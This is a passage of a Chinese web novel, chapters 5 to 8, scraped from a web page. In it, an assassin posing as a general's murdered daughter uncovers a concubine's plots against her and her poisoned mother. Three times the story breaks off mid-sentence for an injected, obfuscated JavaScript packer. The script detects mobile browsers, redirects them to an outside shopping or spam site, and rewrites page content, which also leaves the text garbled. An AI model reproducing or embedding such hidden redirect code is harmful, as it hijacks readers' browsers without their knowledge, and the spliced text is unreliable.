汀竹便随了锁秋的意思，回了暖居阁。 “锁秋，府中就一位姨娘吗？”汀竹端着锁秋刚刚倒的暖茶，细细品了一口。 刚在外受风吹的身子倒是暖和了不少。 锁秋便说，“在还未纳周姨娘前，老爷是 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在宋母过门之前，宋将军有个通房便已然怀了身孕。待宋母过门后数月，那通房便诞下一男丁，后便被老夫人下令处死，将尚在襁褓之中的大少爷过继给了宋母所养，还对外所称是宋母亲生。 刚成婚那时，宋将军跟宋母可谓是鹣鲽情深，是城中口口相传的恩爱夫妻。 继而府中太平了三年，宋韫便在此出生。宋韫刚出生不久，宋将军便纳了身为商贩之女的周姨娘，因此事宋老夫人还为此与宋将军大闹了一场，也未能阻止得了宋将军的决定。 从周姨娘进府后，府中从此便发生了翻天覆地的变化。 身体一向硬朗的宋老夫人霎时间便体弱虚寒，而后又时常疯癫自言自语，便去找了风水先生前来观看，那风水先生看了看就说是老夫人冲撞了污秽之物，便被宋将军送到了偏院让其贴身老嬷照料，久不见外人。 而后刚年满两岁的宋韫也不知为何便坠了楼，好在那会被路过的年过五岁的大少爷救了下。 命虽保住了，面目也是从那时被毁了。 本以为只是简单的磕破脸颊，待大夫来治时，曾言是伤口沾染了夹竹桃的汁液溃烂不堪，错了治疗时辰，已然是不能恢复如初。 从那之后，宋将军便下令将沁香园中的夹竹桃砍了，种了桂花树，那园中边上的阁楼，便也被下令拆了去。也是从那时起本就活泼聪明的宋韫像是变了个人，沉默寡言，大夫说怕是摔坏了脑子。 后又过了五年，年仅十岁的大少爷不知为何便去了边关，直至今日也未能见过。同年权势显赫的英国公在朝堂上公然惹得陛下盛怒，从此便败落。而宋母也是从那年开始，因忧心于母家事，身体日渐衰弱，直到前段时间又感染风寒，久久未能痊愈。 而离奇的是宋将军也是从当年官位一路飞升从最初的正三品直至如今正一品，且那周姨娘母女俩生活也是过得风生水起。 听锁秋说完这些，汀竹冷哼嘲讽。 这周姨娘怕不是个善茬，而那宋将军未必是个好人。 她倒是要找个机会去会一会那周姨娘，摸摸宋将军的底细。 5. 饷食 “小姐，奴婢说了这么多，你可有想起一些么？” 锁秋一脸期待的看着此刻正思虑的某人。 汀竹回过神稍稍一愣，不曾想这丫头倒也不傻。 接着就皱起了秀眉，似乎在努力回想本该属于她的那段“遗忘的记忆”，红唇一抿顾作几分纠结之色。 “啧，还是没想起什么。” “只觉越细想这脑子便越发有点疼痛。” 汀竹这话一说，锁秋脸上那期待神色转瞬便成了慌乱无措。 “啊？小姐对不起，奴婢不该这样问你。” “不想了，奴婢记得就行。” 是她有些急功近利了，她总觉得小姐自从掉落山崖回来后，像是变了个人。 以前的小姐柔弱寡言，一心只求相安无事，不与周家母女争辩。而现在的小姐像是在心中盘算着什么一样，不仅问了她许多事，今天还让二小姐有些难堪。 不过她倒是喜欢如今的小姐。 或许是因没了之前那些痛苦的记忆让小姐又重新活了过来。 汀竹摇了摇头，“无事。” 瞧着眼前人那复杂的神情，她心中也明白。 锁秋这丫头似乎已经怀疑了自己的身份，但后面嘴角那释然的笑意，估摸着是又认许了自己。 既然锁秋不挑明，那她只好当作无事发生，继续扮演这宋府嫡女“宋韫”。 锁秋也不知何时端来了一碗吃食，放在了她手侧边的茶几上。 “小姐，这是夫人拖人送来的杏仁酪。” 汀竹瞧上一眼，“这上面的桂花应是先前在沁心园中看见的那两名丫鬟所摘吧？” “是的，夫人见你能下床走动，还想着亲手制作这杏仁酪，又想着自己风寒未愈，怕又过病于你，便特地吩咐了府中厨子做的。” “母亲有心了。” 汀竹舀了一小勺那杏仁酪，送入嘴中，口感细腻绵滑，入口即化，回味里还夹杂着一丝丝桂花的清香。 要是让宋母知晓她那疼爱的女儿早已死在了那崖底之下尸骨无存，该有多么痛心。 汀竹突然间有些难过起来，她无父无母，死后也不会有人替自己难过。 想起她的恐怕只会是她那杀人不眨眼的杀手身份“无常”。而如今“无常”已死，而那些人怕也不会再记得。 如若找到杀害宋韫的真凶后，报完恩情后，她又该何去何从呢？ 想到这，汀竹眼角微微有些湿润，连带着眉梢都有些泛粉。 “小姐？”锁秋见她吃了一勺便迟迟没了动静，就出声询问。 “没事，就是同记忆中的味道不太一样。” 汀竹说完，又吃了一口。 其实她根本没吃过这些，从前吃的最多的莫过于大饼就着咸菜，堂中最好的吃食便是堂中头目们吃剩的食物。 “当然啦，小姐之前一直吃的是夫人亲自做的，这些厨子自然是比不上夫人的。” 汀竹点了点头，收回了刚才那种情绪。 既然以后无去无从，那她就好人做到底，竭尽全力护好身边所关爱“宋韫”的人。 思来想去有必要让锁秋学点自保能力。 于是让锁秋撤了吃食，将她拉到了身边椅子上坐下。 隔着茶几，她往锁秋那探着脑袋，为了防止隔墙有耳，声音只有两个人能听见的程度。 神神秘秘道：“锁秋，你想不想成为绝世高手？” 锁秋明显诧异，甚至看着她的眼神流露出一丝担忧。 “小姐，你是不是真的……” 话未说完，汀竹立马就出言打断了她后半句话。 “放心，我好着呢。” “自从掉崖重生后，我想明白了许多事，不能再像以往一般受人摆布，而是要将主动权掌握在自己手中，方能平安顺遂。” “而这第一步，则是要有自保能力。” 随着她逐字逐句的说着，锁秋信服的点了点头。 “小姐，奴婢该如何做？” 汀竹就贴近她的耳边悄悄说了方法，锁秋又点点头。 “嗯，我明白了。” - 日中，到了饷食时候，院中丫鬟传话来让她前去正厅用膳。 锁秋随同汀竹一起去了正厅。 正厅位于府里中心区域，门口前过了庭院便是府中大门口所在处。 一进门，便见当时来瞧她醒来的几人。 人还未走进，丫鬟便扶着宋夫人蹒跚迎来，伸手想拉过她的手一同过去，又想起自己带着病气便又下意识想要收回，汀竹一把将宋夫人那手握住。 “母亲，不碍事。” 宋夫人神情微微一愣，眼框轻轻泛红，原本因体弱而紧绷的嘴角，缓缓牵起一抹暖意的笑颜，声音带着几分沙哑却又满是柔软，“受苦了清禾，来入座吧。” 另一只手轻轻覆着她的手背，安抚式的拍了拍，将她带到了八仙桌左侧近门口的位置，则自己坐到了挨宋将军的左侧。 汀竹朝上席坐着的宋将军欠了欠身。 “父亲。” 宋将军看了一眼汀竹，语气沉厚道：“听你妹妹说，今日在沁香园与你相遇？” 汀竹垂眸敛了敛袖口，指尖轻轻蹭过衣料上的暗纹，声音温软却不怯懦：“女儿听手下丫鬟说前些日中秋，沁香园桂花开了。” “想着身子刚愈，久待阁中烦闷，便去了园中透气。” “没想到会撞上妹妹。” 抬眼时，她的目光清亮地望向了宋将军，语气又添了几分坦荡，“往后会多在暖居阁待着，直到痊愈。” “不再让父亲挂心。” 宋将军点了头，眼神幽深，“入座吧。” 接着锁秋便扶着汀竹就座了。 八仙桌上摆满了各式各样的菜品，有“炖鹿筋”“清蒸鲈鱼”“酱炙鸭”“当归鸡汤”等。 都是汀竹先前从来没见过的，闻着这些香气四溢的香味，她心中早已馋的不知天地是何物了，却还要强装镇定。 然而这些美味都要等上席人动了筷子才可食用。 宋将军没再说话，而是示意几人可以就膳了。 宋夫人特地让丫鬟将当归鸡汤盛了一小碗放在了汀竹面前。 “当归是补血养血、益气健脾的，清禾你身子刚愈该多补补。” 汀竹柔和一笑，便小勺小勺的喝着。 “是啊，这炖鹿筋也是好东西，补肝肾，强筋骨的，大小姐这伤筋动骨的可要多吃些啊。”说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659322|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是对面左上方坐着的周姨娘。 她虽面带笑容，却笑意不达眼底，让人越看越觉得虚伪。 汀竹弯了眉眼，语气平淡听不出是何情绪，“清禾多谢姨娘关心。” “但姨娘不知这炖鹿筋里的署豫，会让我的皮肤起红疹。” 好在她先有问过锁秋曾经的宋韫可有忌口。 周姨娘替宋将军夹菜的动作一顿，脸上的笑容僵了半分，随即又覆盖上了歉意的笑容。 “瞧我这记性，倒是忘了大小姐吃不得署豫。“话落时，眼神不着痕迹扫过汀竹脸上那淡漠的笑意。 “姐姐可莫要怪罪姨娘，毕竟姨娘近来帮着嫡母处理府中的大小事务，定然对姐姐忌食上的事有些力不从心，还望姐姐体谅。”正对面的宋婉缓缓开口替周姨娘辩解。 这母女俩一唱一和的，果真是有些手段在手的。 汀竹皮笑肉不笑，内心嘲讽但不表露，“怎会呢。” “清禾还要谢谢姨娘帮着母亲处理琐事呢。“ ……. 饷食结束后，汀竹去了正院宋夫人房中陪了良久。 直至晚食后，她才同锁秋回了自己的暖居阁。 “小姐，这样能行吗？” 看着靠墙角从下往上摆放的三个筐箩，最上面那个箩筐离高墙还有一大半距离，锁秋不免有些疑虑。 “信我。” 接着汀竹便缓慢往箩筐上爬上去，锁秋连忙过来将她往上扶。 一个扶的不容易，另一个装的不容易。 按之前这些高墙汀竹来取自如不在话下，如今却要装一个弱女子属实不易。 两人忙活了半个时辰，才翻离出了府。 望京街上。 街道两旁的店铺酒肆挂着亮堂堂的灯笼串，人来人往，热闹非凡。与那晚的街道相比无任何不同。 凭着记忆汀竹带着锁秋来到了最为热闹的酒楼。 这酒楼处于望京街中段，是整条街最为人多的地方。 朱漆大门外悬挂着鎏金招牌“醉仙楼”，两侧悬挂着大红灯笼，映着那招牌泛着光晕，给人一种迷离，陶醉之意。 都入了秋，门口处那些面貌柔情似水的女子，本就衣着轻纱领口低矮，却半露着香肩，而那纱罗锦缎凸显着那些女子曼妙的身材。 正在热情吆喝着往来的男子。 汀竹观望了一会便想抬脚往那楼中去，锁秋连忙拦下了她的步子。 锁秋大惊：“小姐你这是为何？” “那地方甚是污秽，小姐身为将军府嫡小姐，京州贵女，断不能去那种地方，失了身份！” 汀竹缓缓推开了挡在面前的手，耐心道：“锁秋，我自有决断。” “你且信我。” “可这地方只有男子才能进入，而小姐你……怕是会被拒之门外。” 汀竹笑着从袖处掏出了一袋鼓鼓囊囊的荷包。 “有这东西还怕不让进？” 锁秋又一惊，“小姐你哪来这么多银两？” “不会是将这月的月钱全拿来了吧？！” 汀竹摇了摇头，嘴角微翘，似笑非笑。 那晚顺手扯的荷包跟玉佩也是派上了用场，也不知那端王知晓后会不会气疯了。 6. 学艺 “诶，哪家的小姐！？” “这醉仙楼女子可进不得！” 汀竹带着锁秋刚想塌入楼中，果然被门口的一位女子给拦了下来。 “这位姑娘我想找这的妈妈，麻烦带个话可好？” 说着，汀竹便从绣花荷包中掏出一两金锭悄悄往那说话女子的手中塞去。 女子本想推拒了，但汀竹给的着实是太多，便偷偷揣进了手中。 “小姐，稍等。” 随后迈着步子快速往楼里走了去。 锁秋摸着脸上的半张面具纠结道：“小姐这样……” 为了不被人知晓容貌，汀竹还特意让锁秋在面具摊铺前买了两副面具。 “嘘，放心不会被人认出来的。” “到时候进去你别出声。” “好的小姐。” 顷刻后—— 那女子便带来了位体态丰腴，衣着墨绿绸衫，扭着那柳树腰一步步走来，神情狐疑的往汀竹这边打量。 “听梅儿说你找老身？” “妈妈可否借一步说话？”汀竹开口示意。 那妈妈便随汀竹走到门口人流少的一处。 “小姐请说。” 接着汀竹同她说了此行找她的目的，“听闻这醉仙楼里的仙儿姑娘琴棋书画样样精通，只卖艺不卖身。” “而我此次来的目的就是想跟这仙儿姑娘学些这技艺，好去取悦心仪之人。” “妈妈可否懂我？” 汀竹勾着唇角，将荷包里的银两整个的塞到了那老鸨的手中。 老鸨打开一看，全是黄灿灿的金豆子，双眼立马就亮了，随即笑脸盈盈：“那自然是懂得，老身这就叫仙儿姑娘教导小姐。” “准让小姐早日抱得美男归。” 老鸨装作若无其事的模样将荷包揣进了袖口，对汀竹的态度比上刚才好了万分。 毕恭毕敬道：“小姐，请随老身来。” 果真像这种势利眼的人没有什么是金豆子解决不了的。 主仆二人便跟随着老鸨的步子，进了醉仙楼里。 一进门就见楼中间摆了个台子，台前周边从上方楼顶处悬挂而下几条艳红色长纱，而台上几名衣着裸露的漂亮女子随着台后的俗悦跳着那灵动妖娆的舞姿，让台下男子个个为之轻狂。 老鸨刻意用自己圆润的身子将那有伤风雅的台面挡了大半，连连带着汀竹往二楼雅间带去。 汀竹波澜不惊，倒是身后的锁秋心中默念“伤风败俗！伤风败俗！伤风……” 再偷瞧了一眼自家小姐，神色淡然自若，仿佛身边无这般场景。 很快，三人就来到了二楼拐角处一间屋子。 老鸨敲门询问。 “仙儿姑娘？” 一听是老鸨的声音，里面便传来一声清甜如泉水般的音色。 “妈妈可有何事？。” “仙儿姑娘，今晚有位贵客指名要点你。”老鸨在门外解释着。 屋内又说：“妈妈，不是说今晚不迎客吗？” 老鸨道：“仙儿，这可不是往常贵客，你且开门看看。” “哦，是吗？” 话落间，房门打开，一双白嫩的芊芊玉手推开门，从里缓缓显身。一眼便见那名为仙儿的女子面容娇艳，双眸剪水，体态婀娜多姿。 汀竹见了不由的在心中感叹，连她看了都会沉迷于这仙儿姑娘的一颦一笑，更何况是男子。 传闻多年前苏丞相的夫人乃是京城之中琴艺精妙绝伦者，后因苏家满门抄斩，这桃仙儿便成了如今这京城的琴艺一绝。 而她只隔屏风为人弹奏，多少文人雅士愿花性命身家只为一睹她芳容，更有许多达官贵人愿花黄金万两替她赎身。 可她却都回绝了，只愿终生卖身于这醉仙楼，弹琴卖艺。 “哦？妈妈这是？” 桃仙儿见了来人，微微一愣，心中疑惑万分。 她以为是哪家的达官显贵又来替她赎身，却没曾想是一名女子，还是一名戴着狐狸面具的女子，而身边还跟着个女子。 “仙儿，这位小姐可是花了重金想让你教她些技艺。” “这……”桃仙儿更不解了。 看俩人这身装扮，倒不像是贫民百姓，定是哪家贵人的小姐，怎会跟她这种风月之地的女子学习技艺。 而这些楼外的女子向来是厌恶像她这般在风月之地的人，嗤之以鼻，更别说请教。 “仙儿姑娘可否指点一二？”汀竹缓缓开口。 桃仙儿细细打量了她一番，又看向了老鸨那股眉瞪眼般，便点头应下。 “小姐请随我过来。” 随后老鸨关门离开。 入房内，汀竹细细打量了一番屋内。 陈设相当雅致，与这桃仙儿身上抚媚的气质到是显得出入。而屋内的一些布局倒让她觉得十分的眼熟。 靠窗的炕桌上摆着一把古琴，而后面墙上挂着一幅墨竹图，到吸引了汀竹几分注意。 接着便带着揣测再次将靠窗位置打量了番，目光落至板棂窗处。往外看去，只见相隔不远的那些院落屋顶中最为突出的一座高楼。 从这视角看去，这不是那晚她刺杀端王的包厢？ 再看这屋中摆设又似乎不是。 正当汀竹疑虑时，那桃仙儿已坐在了古琴前。 汀竹就坐在了她对面的锦凳，刚一坐下便感觉到所坐之处穿透着一股余温。 她的身子瞬间疆在了锦凳上，心中一惊。 这是屋内先前恐怕不止桃仙儿一人。 桃仙儿调整好坐姿便开口询问着她：“小姐可有想学的曲目？” 汀竹笑道：“要学自然要学最难的。” “那可多了。”桃仙儿话末，双手轻放在了琴弦上，下一秒那芊芊玉指便来回拨动那些琴弦，发出阵阵美妙的音律。 少顷，一曲毕。 连她这不懂音律的人都能听出琴声中那悲凉惨淡的深意。 可见谈琴之人技艺之高绝。 汀竹不由的鼓掌，夸赞：“仙儿姑娘果真如传闻中一般，当真是京城琴艺一绝。” 桃仙儿抚摸着琴弦，眼里却含着让人摸不透的笑意，在汀竹身上探究了几分。 “奴家倒是好奇小姐是哪位府上的贵人呢？” 汀竹端着茶杯刚到嘴边，一听这话便勾了勾嘴角，露出一抹令人生寒的笑容。 “仙儿姑娘可曾听过一句话？” 桃仙儿“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659323|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦”了一声，眉眼中似乎带着几分挑衅。 “是哪句话呢？” “好奇心害死猫，劝姑娘你还是莫要打听了。” 眼见对方倒不像普通女子那般软弱无势，相反倒是沉得住气且又能应对自如，估摸着身份也是不容小觑，便没在继续咄咄逼人。 “是奴家僭越了。” 而后，桃仙儿便让汀竹先自己试着用手指拨动琴弦的感受。又讲了番弹琴时的姿势同指法。 半柱香过去，汀竹学的到快。像是有与生俱来的天赋般，很快就将指法给学会了。 约莫到了戌时，汀竹俩人离开了醉仙楼。 汀竹二人前脚刚走，这桃仙儿的屋子便从隔间里走出两位身材高挺的男子。 桃仙儿恭敬的行了个礼：“殿下。” 箫凛那骨节分明的手指轻捏着扇柄，腕间微转，扇子贴在身前轻摇，一步步走向了那锦凳上。 拾起那喝了半杯的茶水，双眉微蹙，目光盯杯子出了神，像是在思考着什么。 见他如此，桃仙儿以为箫凛因她自作主张而发怒未言。 便下跪道：“殿下，奴婢擅自答应了那位小姐教她弹琴，还望殿下恕罪！” 箫凛放下了茶杯，抬眸看了跪在地下的美人，眼中无一丝怜悯美人之意。 “可知她是什么身份？” “奴婢不知，但奴婢敢肯定那小姐定不是普通女子。” 箫凛将扇子合拢，扇头向上轻抬，“起来吧。” “多谢殿下。”桃仙儿行了个礼。 一旁的明霄出声询问：“殿下，那女子不会是太子或丞相派来的吧？” “是否需要属下查明？” 箫凛又嘱咐了一声，“去吧，如若是切勿打草惊蛇。” “是，殿下。” 暖阁居内。 汀竹早已脱掉了出去时的衣物，连同着面具让锁秋一并藏在了衣柜中的暗格之内。 “小姐，你学弹琴是何意？” 锁秋憋了一路的疑问，终于可以开口询问了。 “如今我得了离魂证，已不大记得琴棋书画。” “万一哪天宋婉当众叫我难堪，该如何是好？”汀竹耐心解释道。 锁秋挠了挠头有些想不明白，回忆起前不久小姐曾说的要拥有自保能力。 琴棋书画难道也是自保能力的一种吗？ “小姐，那我们每晚都要偷偷溜出府么？” 汀竹顿了顿，被锁秋这么一问，这实在不是长久之计。 万一哪天运气不好，被府中人发现了岂不白费功夫了。 她是得找个法子能够光明正大的出府去，且不被怀疑的法子。 夜深人静，估摸已到了深夜。 汀竹趁着锁秋熟睡，又轻悄悄翻墙出了府外，只为求证她心中一个的疑惑。 此时的她又爬在了最高的房顶处，往望京街最为热闹的方向望去。 一看，果然如她心中料想一样。 那醉仙楼的桃仙儿表面上是一名艺妓，背地里其实是端王手底下的人。 也难怪只卖艺不卖身。 而现在看来先前在她房间的人多半是端王。 或许那端王未必就离去。 7. 夫婿 天刚亮，空中泛白无云，也不见日出。 汀竹未等锁秋过来伺候便早已穿戴好衣裙。 发髻未梳，她不会，只会随意扎紧一个不松散的束发。而这种束发是为了刺杀便于行动，还能有效隐藏身份。 那种繁琐的发髻样式，相比之下虽漂亮但累赘。 坐在梳妆台上，左手托着腮盯着铜镜里的镜子发着呆。 锁秋进屋路过屏风便看见自己小姐早已着装好，坐在梳妆台前等着自己为她梳妆打扮，不免问：“小姐，你今日怎醒的比奴婢还要早？” 汀竹思绪回了神，眼珠眨了眨，“早卧早起，有助脏腑。” 若如之前未受伤，也会早起。而这习惯她都往复了几百次。身为杀手的第一步则便是天将亮，就要围着黑刃堂所处的区域跑上几圈，吃过早食便练习剑法以及身法武功。 最残酷的是午食后自己接任务或堂中下发任务，没任务的则是俩俩对打，需以全力相搏，否则不是他死就是已亡，而取胜之人可得上好的伤药，败者将次日断食一日。 锁秋拿起妆匣上的柳木梳，轻柔的疏起了汀竹那乌黑透亮的秀发。 “小姐，今日想疏什么发髻呢？” 汀竹对发髻不讲究，“皆可。” 转瞬间，锁秋疏好了发髻，还将与她衣裙颜色相呼应的发簪插入了发丝之中。 接着拿起了铜黛为汀竹画眉，又用粉絮抹了厚厚的粉铺了几次，她脸颊上的疤痕，却始终遮挡不住。 如若小姐脸上没这些疤，定也是一个貌美如花的女子。 “锁秋，不必如此。” 汀竹一眼就知道她心中所想，急忙打断。 再铺粉下去，这脸要比死人还要白上三分。 锁秋止了动作，她拿起一旁的口脂，轻轻抿了抿，唇色立马红润起来。 看着镜中的自己比以往有些过于美了，尤其是那疤痕随着时间渐渐消淡。 她都怀疑锁秋是不是偷偷给她抹了药。 于是便拿起了胭脂将脸上的痕迹给加重了几分。 “小姐，你这是为何？”面对汀竹的动作，锁秋不解。 “要是让别有用心之人知晓我恢复容貌，你说这是福还是祸？” “如今敌在暗，我们在明。” “不可惹人注意。”汀竹耐着性子解释着。 锁秋点头，“那小姐咱们现在该如何做？” 汀竹想了想，“你可知近日周姨娘母女在做甚？” 至从身体痊愈可不再假装病弱时，这几日府中倒是出奇的平静了不少，她每日无事便巳时去与母亲照看闲聊几句，未、申时就在府中熟悉一下宅院，晚膳过后便带着锁秋偷溜出府去醉仙楼学艺去了。 除去用膳期间，其他时候也不见周姨娘母女，也不见对方找自己麻烦，本想主动会会二人到也没这个机会。 锁秋回想了一番，便细细说着，“奴婢偶然听到府中下人说，后日是赵丞相的母亲——赵老夫人七十大寿。” “将军府受邀赴宴，周姨娘似乎忙着这事呢。” 汀竹起身，捏着绣帕脚步迟疑走了两步，眸中聚焦像是在思索着何事。“可知会有何人参加此次寿宴？” 她对京城中这些官宦并不了解，倒是偶然听说了一些赵丞相的事。 知晓他的事也甚少，只知此人深受皇上信任。 锁秋如实开口：“城中上品官员，皇室贵族，除此以外还有小姐你未来夫婿太子殿下也会前来。” 汀竹一惊，这事锁秋先前到也没跟她提过，疑惑之下看了一眼她。 没发问，锁秋便知她为何这般看着自己，于是就解释道：“这桩婚事是小姐出生时便定下的，只是后因小姐容貌相毁，直到及笄也不见好便耽搁了。” “况此婚事乃陛下金口玉言，明旨钦定‘太子妃必出将军府嫡女’。若因小姐容颜受损，致陛下收回成命，岂非要让将军府在满朝文武面前颜面扫地，沦为天下笑谈？” “上次小姐遭遇歹人掉崖，为保其小姐名誉，将军府对外只称是小姐乘坐马车的马匹受惊而被跌至悬崖。而如今小姐及笄方过一载，眼看面上瘢痕日渐平复，待痊愈之日，便能与太子成婚。届时小姐身为太子妃，身份尊贵，纵观天下女子，除太后与中宫皇后外，再无人能出其右。” 锁秋还在憧憬着以后自己小姐成为太子妃后，自己也会跟着飞黄腾达便满脸喜悦。 汀竹又问“锁秋，如若说我某日又遇害，那谁最有资格成为太子妃？” 一听这话，锁秋瞬间急了，“快呸呸呸，小姐福大命大怎会遇害，就算如此……发生上般那事，小姐也能化险为夷。” “倘若上次我并未活着呢？” “那最有资格且不妨碍圣旨的便只有一人——” “二小姐！？” 锁秋惊恐着，想接着往下说去。 汀竹便缓缓开口，照着她的话接了下来，“所以杀害我并不是因我会夺得父亲的宠爱，而是为了我这嫡女的身份，这未来太子妃的位置……” “不仅如此母亲久久未能痊愈多半也是她二人的手笔。” 想来一切说的通了，宋母就宋韫一个女儿，且后因娘家事忧郁成疾，但人还年轻不会因此事而不再生育。定是有人从中做了手脚，让宋母身体虚弱无法有心再度生育孩儿，能从中获利的就只有周姨娘。 然宋韫一死，再找个机会除掉宋母，那取而代之的便是她母女俩，一个成了当朝将军府夫人，一个成了将军府嫡小姐还是未来的太子妃。 真是打的一手好算盘啊！ 如此看来，宋韫能在这毒妇眼底活这么久，倒不是如锁秋口中那般柔弱不堪，而是想以曲意求全某得生机。 只可惜心思纯良，还是着了坏人的道。 想到这她不禁替宋韫感到不值，她这爹也太愚蠢至极，纳了个这么个蛇蝎心肠的妇人入府，搅得这府中不得安生也还能睁一只眼闭一只眼，任这毒妇欺辱自己的心上人以及子女，当真是可笑至极！ 指不定连他自己的老母亲都是被那毒妇所害，真是愚蠢！ “小姐……”锁秋害怕的低语着，她也明白了汀竹话中含义，不免心中一种后怕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659324|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她本就是低贱的丫鬟，脑袋也不大聪明，更无任何心计所言，如若主子一倒，那她这小人物岂有机会苟活？ 再者她的命是小姐所救，若不是小姐，她早在府中被活活饿死。即便有那么一天需要用自己的贱命来换取小姐的平安，那她也会欣然愿意，只求小姐能够平平安安。 “那该怎么办？” “此事暂且先装不知。”汀竹用洁白的细指绕着耳鬓间垂落下的发丝把玩，小声呢喃着，“此次宴会母亲风寒未愈，顾及赵老夫人大喜之日定是不能随父亲赴宴，再以周姨娘的身份也无资格赴宴。唯一能随父亲代替将军府出面的便只有宋韫以及这宋婉倒可随同一起。” “不过按周姨娘这几日尚安分守己，背地如此大动干戈，想必是了让宋婉能在众人面前好好展露，尤其是要在太子跟前留下好印象。” “即便正妃之位不可得，若能得一个侧妃之位，于宋婉而言，意式一桩难得的机遇。只需能踏入东宫，日后徐徐图之，何愁正妃之位不到手。” 依这般那周姨娘怕是会想方设法不让这宋韫参加此次宴会。 锁秋见她神思恍惚，遂轻声打断：“小姐，你方才在低声絮语，奴婢听得不甚分明，实在不太明白小姐说的何意。” 汀竹忘了一眼院外，“无碍。” “锁秋，眼下是何时辰？” 锁秋心中算了一番，便道：“小姐，快到辰时用早膳了。” “待会儿奴婢便去小厨房，将小姐今日的早膳去来，小姐且在屋中稍后片刻。” 府中一般在自己院中用早膳，而午膳晚膳则另外，宋将军在府中便是一家人一起用膳，若是因公事繁忙，用膳便是同早膳一般。 * 自中秋到如今，寒露已过旬日，这些天总不见日照，尽是些微凉的阴凉天气。今日午膳后天却忽然放晴，且阳光普照，十分明媚。 金辉透过院中雕花窗棂，在青砖瓦塔上洒下细碎光斑，走在沁香园时，风过院中桂树，那残留的余香拂过鼻息间让人心生愉悦。 汀竹如同往日般又来照看宋母了。 见今日日头暖融，难得阳光这般好，便引着宋母往沁香园去，园内有残留的花香，还有池塘可赏的锦鲤，这般景色正适合走动走动晒晒太阳。 “母亲今日天气甚好，出来晒晒这暖日，驱散些病气，身子定能早些康复。”汀竹一手扶着宋母的手，说话间她不经意的探了探宋母的脉搏。 她擅长制毒，与“毒药”打交道，当初为了能在堂中留下，在执行任务时偷偷抓了一位老游医，以他自身性命威胁教她制毒之法，那老游医医术不精，为保性命就将他师祖毕生心血《天下毒术》给了汀竹，到没有想到汀竹天赋异禀，不过数月就将书中所说的毒药给了解透切。 而老游医云游一生，都只参悟了书中一半，却未想到还不如一个小女孩，这让老游医十分赞赏。随即就收了汀竹为徒，便把自己的毕生医术传授给她。 俩人相识没一年之久，老游医就因年老病死了。 汀竹最后来见他时，尸身已经腐烂发臭，就将他埋了。 8. 香粉 宋夫人眸含柔色，像是浸了温水：“清禾有心了。” 汀竹笑着应和，言谈间已悄然将宋夫人脉搏把了遍。这一把脉，她眉眼间的笑意如被寒霜冻住，一寸寸疆硬在了唇角。 此脉象搏动无力，轻得像风中残烛，按下去只剩一片虚浮的空虚。出奇的是搏动间总隔着几分滞涩，像被什么东西绊住了似的。 这分明是肝肾阴虚气血亏虚的模样，可那脉搏往来不畅却似乎像是中了毒。 她强压下心中惊悸，声音放柔：“母亲，近来觉得身子可有不妥？夜里睡得可安稳？” 宋夫人闻言，脸上露出几分欣慰之色，掌腹轻轻抚摸着她的小手，“已好了许多，这几日连咳嗽也少了。” “只是人老了，这眼睛越发不济，连那绣花针也难穿线了。本想着在你痊愈前，绣个平安荷包讨个吉利。” “既如此？可曾请大夫来瞧过？”汀竹追问。 宋夫人幽幽叹了一声，语气中添了几分怅然，“原是老毛病了，先前也请过几位大夫，药方都换了不下数帖，却始终不见起色。” “我倒无妨，只求你往后能岁岁平安，母亲便心无牵挂了。” 汀竹闻言，心绪稍定，“女儿亦盼母亲能早日摆脱病痛折磨，平安顺遂。” “你这孩子。”宋夫人眼中满是宠溺，拍了拍她的手背。 汀竹唇边噙着浅谈笑意，面上未显分毫，心底已起了波澜。 宋夫人这身子，究竟是中的何毒？ 方才不过就浅浅搭了搭脉搏，指尖触到那微弱脉象时，她便暗觉不妥，却又怕诊得不准，自己吓自己。 可再看宋夫人，病症缠绵数年也未痊愈，依那片刻所诊脉象来看，肝肾气血亏空，面色苍白乏力，明明正值半老徐娘的年纪，又怎会眼力不济…… 这般异状只怕是被有心之人暗中下了慢性毒药，再这般拖延下去，不久恐是要瞎了。 “母亲，今日煎药的药渣可还留着？”沉吟片刻，汀竹忽然开口。 莫不是问题出现在汤药身上。 宋夫人闻言一怔，眉宇间浮起疑云，“清禾是怀疑这药方有问题？” “母亲，女儿也只是猜测。”汀竹低声诉说，扶着宋夫人的手指微微泛起了凉意，“先前偷溜出府时，曾听一说书先生讲过一段民间传言──” “说有一个富商为夺家产为，害了一户贫民性命，偏那户人家的幼女躲在暗处，目睹了这一切。后来被一位医馆老者所救，还学了些粗浅医术。” 